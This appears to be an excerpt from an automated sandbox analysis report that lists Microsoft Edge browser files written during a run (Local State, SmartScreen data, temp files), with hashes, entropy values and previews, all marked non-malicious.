Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF41653.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089787454530634
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWPdi1zNtPMMkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynlTkzItSmd6qE7lFoC
MD5:	491CAA5811A454E1D1D12CB809D89F69
SHA1:	2B34B40F8901A9827F453410C1C20D0CEB3D86B3
SHA-256:	253A5F3D43A17EBE25FE4B974F3CC94C34EBBFE90F9DBEE5B0A8E9C505D3B001
SHA-512:	CBA6C2E39DFEA33161B3828680CCB8F9898F6D66C2A12B58E2B8D60DB5001F6F561A07D5B1E602F9C0B7361FEDC0797F242365DEEF4EBD831186BB6020A24B9A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4b7a4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089787454530634
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWPdi1zNtPMMkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynlTkzItSmd6qE7lFoC
MD5:	491CAA5811A454E1D1D12CB809D89F69
SHA1:	2B34B40F8901A9827F453410C1C20D0CEB3D86B3
SHA-256:	253A5F3D43A17EBE25FE4B974F3CC94C34EBBFE90F9DBEE5B0A8E9C505D3B001
SHA-512:	CBA6C2E39DFEA33161B3828680CCB8F9898F6D66C2A12B58E2B8D60DB5001F6F561A07D5B1E602F9C0B7361FEDC0797F242365DEEF4EBD831186BB6020A24B9A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF51b40.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089787454530634
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWPdi1zNtPMMkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynlTkzItSmd6qE7lFoC
MD5:	491CAA5811A454E1D1D12CB809D89F69
SHA1:	2B34B40F8901A9827F453410C1C20D0CEB3D86B3
SHA-256:	253A5F3D43A17EBE25FE4B974F3CC94C34EBBFE90F9DBEE5B0A8E9C505D3B001
SHA-512:	CBA6C2E39DFEA33161B3828680CCB8F9898F6D66C2A12B58E2B8D60DB5001F6F561A07D5B1E602F9C0B7361FEDC0797F242365DEEF4EBD831186BB6020A24B9A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.015279837524851
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclVZfJYV:YWLSGTt1o9LuLgfGBPAzkVj/T8lHRYV
MD5:	253A87C3BDDD74FDADA3DF94D446882A
SHA1:	5BBD5CFA46E64B441010157727F432535056CE35
SHA-256:	39C2FF8014746E9DAFA3A1973820D0FF253DE72E3B27F662156F2B6EF72E12F4
SHA-512:	39C797773E5A1626ACB1DE90417E480A453A069040DFDBF402E329E3F3A6435D3F132ACD6CCC96A4F7E6EFB4904D92F90010CD617A52EE17FD0147399DCE4D35
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1730401167343094}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a7aee450-c2ef-4799-8a83-cef8a08b894e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46603
Entropy (8bit):	6.086374426188462
Encrypted:	false
SSDEEP:	768:LMkbJrT8IeQcrQguKbYxi1zNtrkALEqodIKJ+hD3Fytwhy1DhuCiooJDSgzMMd6g:LMk1rT8HOKJIqodg014FootSmd6qE7E
MD5:	A1331A19DDFE4E8765EFFD2E10CB65EE
SHA1:	F17E5650D201A2AC95BB3B75B8C127F70AD5AB5C
SHA-256:	02403D36B3C000B2BA5EFF49EB3EF51B7EB37BE04DF49F3EBB180AE14505C73D
SHA-512:	74B3CF459D13637AB42D11DD853EB59EDCA6FC9E8FCC2AF941305BC5E3438EB047493FCC24C404B8EF7D3A4F1CA3F56C376454B081FA1BF259C9821ED8B1DFA7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13374773964018139","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"345f44d7-82bf-4122-a42d-0f833d3713c2"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1730300368"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a92089c4-43d0-49b3-becb-7c39ac1ab1a3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46603
Entropy (8bit):	6.086377565580378
Encrypted:	false
SSDEEP:	768:LMkbJrT8IeQcrQgu9bYxi1zNtrkALEqodIKJ+hD3Fytwhy1DhuCiooJDSgzMMd6g:LMk1rT8HO9JIqodg014FootSmd6qE7E
MD5:	027AF292405802D1963190E699145BE5
SHA1:	A64CA66BCD41A22EDB1372FA4CD5DC8AA048070B
SHA-256:	C1BEA390334A954F195C4C84331A215CE3C7A9BE4AF14CA949EDE2E436A74DA8
SHA-512:	9698524E9D7C61014571A9F67727E91CB82AE12F9B685B47C8ADB536994D91DD9559795A6CA9FEFD3867343F4B0E558C63573F7601C1CAF6B78E7D90761535AF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13374773964018139","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"345f44d7-82bf-4122-a42d-0f833d3713c2"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1730300368"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b81e0f43-be97-42a2-a746-41297e6699ff.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45000
Entropy (8bit):	6.095552555871796
Encrypted:	false
